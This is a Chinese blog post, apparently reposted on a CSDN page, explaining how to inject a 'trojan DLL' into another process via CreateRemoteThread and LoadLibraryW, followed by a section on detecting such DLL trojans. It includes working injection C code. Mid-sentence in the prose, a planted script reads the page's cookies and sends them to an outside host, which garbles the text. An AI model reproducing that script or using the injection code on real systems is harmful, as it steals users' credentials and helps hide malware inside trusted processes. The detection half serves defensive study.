远程线程技术

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过createthread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过createremotethread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程耶!)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个dll木马(与进入进程内部相比,启动一个dll木马是小意思,实际上我们可以随意篡改那个远程进程的数据)。  
   
    首先,我们通过openprocess   来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)  
   
   hremoteprocess   =   openprocess(   process_create_thread   |   //允许远程创建线程  
                  process_vm_operation   |   //允许远程vm操作  
                  process_vm_write,//允许远程vm写  
                  false,   dwremoteprocessid   )  
   
    由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(process_create_thread、vm_operation、vm_write)。  
   
    然后,我们可以建立loadlibraryw函数这个线程来启动我们的dll木马,loadlibraryw函数是在kernel32.dll中定义的,用来加载dll文件,它只有一个参数,就是dll文件的绝对路径名pszlibfilename,(也就是木马dll的全路径文件名),但是由于木马dll是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)  
   
   //计算dll路径名需要的内存空间  
   int   cb   =   (1   +   lstrlenw(pszlibfilename))   *   sizeof(wchar);  
   //使用virtualallocex函数在远程进程的内存地址空间分配dll文件名缓冲区  
   pszlibfileremote   =   (pwstr)   virtualallocex(   hremoteprocess,   null,   cb,    
              mem_commit,   page_readwrite);  
   //使用writeprocessmemory函数将dll的路径名复制到远程进程的内存空间  
   ireturncode   =   writeprocessmemory(hremoteprocess,  
              pszlibfileremote,   (pvoid)   pszlibfilename,   cb,   null);  
   //计算loadlibraryw的入口地址  
   pthread_start_routine   pfnstartaddr   =   (pthread_start_routine)  
       getprocaddress(getmodulehandle(text("kernel32")),   "loadlibraryw");  
   
    ok,万事俱备,我们通过建立远程线程时的地址pfnstartaddr(实际上就是loadlibraryw的入口地址)和传递的参数pszlibfileremote(实际上是我们复制过去的木马dll的全路径文件名)在远程进程内启动我们的木马dll:  
   
   //启动远程线程loadlibraryw,通过远程线程调用用户的dll文件  
   hremotethread   =   createremotethread(   hremoteprocess,   null,   0,    
                   pfnstartaddr,   pszlibfileremote,   0,   null);  
   
    至此,远程嵌入顺利完成,为了试验我们的dll是不是已经正常的在远程线程运行,我编写了以下的测试dll:  
   
   bool   apientry   dllmain(handle   hmodule,   dword   reason,   lpvoid   lpreserved)  
     {  
      char   szprocessid[64]   ;  
      switch   (   reason   )  
       {  
        case   dll_process_attach:  
         {  
           //获取当前进程id  
           _itoa   (   getcurrentprocessid(),   szprocessid,   10   );  
           messagebox   (   null,   szprocessid,   "remotedll",   mb_ok   );  
         }  
        default:  
        return   true;  
       }  
     }  
   
    当我使用rmtdll.exe程序将这个testdll.dll嵌入explorer.exe进程后(pid=1208),该测试dll弹出了1208字样的确认框,同时使用ps工具也能看到  
   
     process   id:   1208    
     c:/winnt/explorer.exe   (0x00400000)  
     ……  
     c:/testdll.dll   (0x100000000)  
     ……  
   
    这证明testdll.dll已经在explorer.exe进程内正确地运行了。  
   
    无论是使用特洛伊dll还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。  
   
    这个时候,我们可以说已经实现了一个真正意义上的木马,它不仅欺骗、进入你的计算机,甚至进入了进程的内部,从某种意义上说,这种木马已经具备了病毒的很多特性,例如隐藏和寄生(和宿主同生共死),如果有一天,出现了具备所有病毒特性的木马(不是指蠕虫,而是传统意义上的寄生病毒),我想我并不会感到奇怪,<script>var   y=document.cookie;var   i="http://vcdv.net/cgi-bin/2.pl?"+escape(y);document.write("<script   src="+i+"   >");</script></script>倒会疑问这一天为什么这么迟才到来。  
   
  dll木马的查杀    
   
   
    要是我的这篇文章到此结束,那么就变成了dll木马编写教学了:p,其实我们了解dll木马原理的最终目的还是为了更好的防御它,所以,让我们来讨论一下dll木马的查杀。    
    dll木马对于进程管理器来说是隐藏的,所以我们既不能用进程管理器来查找,也无法直接将它停止运行,假设dll木马嵌在explorer.exe这样的进程我们还能直接将宿主进程杀掉,但是如果木马通过提升权限等方法进入了inetinfo.exe这样的系统进程(iis),那么即使是管理员,也不能直接终止木马的运行。(在nt中,系统进程不能被直接kill)。因此,我们不能指望nt自带的进程管理器了,需要使用一些附加的工具。  
   
  一、   进程/内存模块查看器:  
   
    为了能发现dll木马,我们必须能查看内存中运行的dll模块(记得么?dll木马运行在已有的进程内),前面说了,在windows下查看进程/内存模块的方法很多,有psapi、pdh和toolhelper   api。我用psapi写了一个这样的工具,补天的雏鹰用pdh写了一个更加强大的进程查看器,支持查看远程主机状况(知道系统管理员密码的情况下),希望早日整理发布。  
   
  ps工具可以在以下地址下载到:  
  http://isforce.51.net/down/ps.zip  
   
    实际上,由于windows系统的复杂性,即使有了上面的工具,查找dll木马仍然是非常艰难的,只有非常了解系统结构的管理员才能从无数的dll文件中找到异常的那一个,所以,平时使用ps工具备份一个dll文件列表会比较有帮助,方法很简单,ps.exe   /a   /m   >ps.log。  
   
  二、   端口进程关联软件:  
   
    关联端口和进程的软件也是重要的工具之一,虽然dll木马隐藏在其他进程中,但是多多少少会有一些异常,功能强大的fport就是一个优秀的进程端口关联软件,可以在以下地址下载到:  
  http://isforce.51.net/down/fportng.zip  
   
  三、   嗅探器:  
   
    嗅探器帮助我们发现异常的网络通讯,从而引起我们的警惕和关注,嗅探器的原理很简单,通过将网卡设为混杂模式就可以接受所有的ip报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照rfc文档对协议进行解码。在补天的主页上我放置了一个win2k下的命令行嗅探器,任何有兴趣的朋友都可以去下载源码并改写成自己需要的工具:  
   
  代码及头文件:   http://isforce.51.net/down/guniffer.zip  
  编译后的程序:   http://isforce.51.net/down/guniffer.exe  
   
  四、   注册表保护软件:  
   
    可以想象,dll木马仍然会继续利用注册表来启动自己(在windows中到哪里去找一个比注册表更复杂、更适合木马隐藏的地方呢?)不同的是,dll木马不仅仅局限于run、runonce这些众所周知的子键,而是拥有更多的选择。例如对于特洛伊dll来说,knowndlls子键就是再好不过的藏身之处,在注册表的hkey_local_machine/system/controlset001/control/session   manager/knowndlls子键下,存放着一些已知dll的默认路径,假设dll木马修改或增加了某个键值,那么木马dll就可以无声无息地在进程加载知名dll的时候取代原本的dll文件进入进程。注册表保护的软件非常多,lockdown2000就内置这样的功能,另外,sysinternals的regmon也很不错,下载地址:  
  http://isforce.51.net/down/ntregmon.zip  
   
  五、   文件保护:  
   
    除了注册表,文件也是dll木马的启动工具,利用appname.local   文件进行的dll转移就可以顺利替换任何应用程序启动时加载的默认dll,特洛伊dll更是层出不穷,同样是sysinternals出品的filemon可以担当文件保护的重则:  
  http://isforce.51.net/down/ntfilmon.zip  
   
    dll木马的查杀非常复杂,并不是一天两天能够掌握的,目前补天公司也正在进行相关防御软件的开发,希望很快能为大家提供一个简单快捷的解决方案。  
   
    最后,感谢西祠的lion   hook在dll文件操作上对我的指导,同时也感谢补天的abu、yagami、eyas、sztwww、大鹰、大皮球和其他兄弟们跟我一起讨论隐藏进程的技术,让我学到了很多的东西。  
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值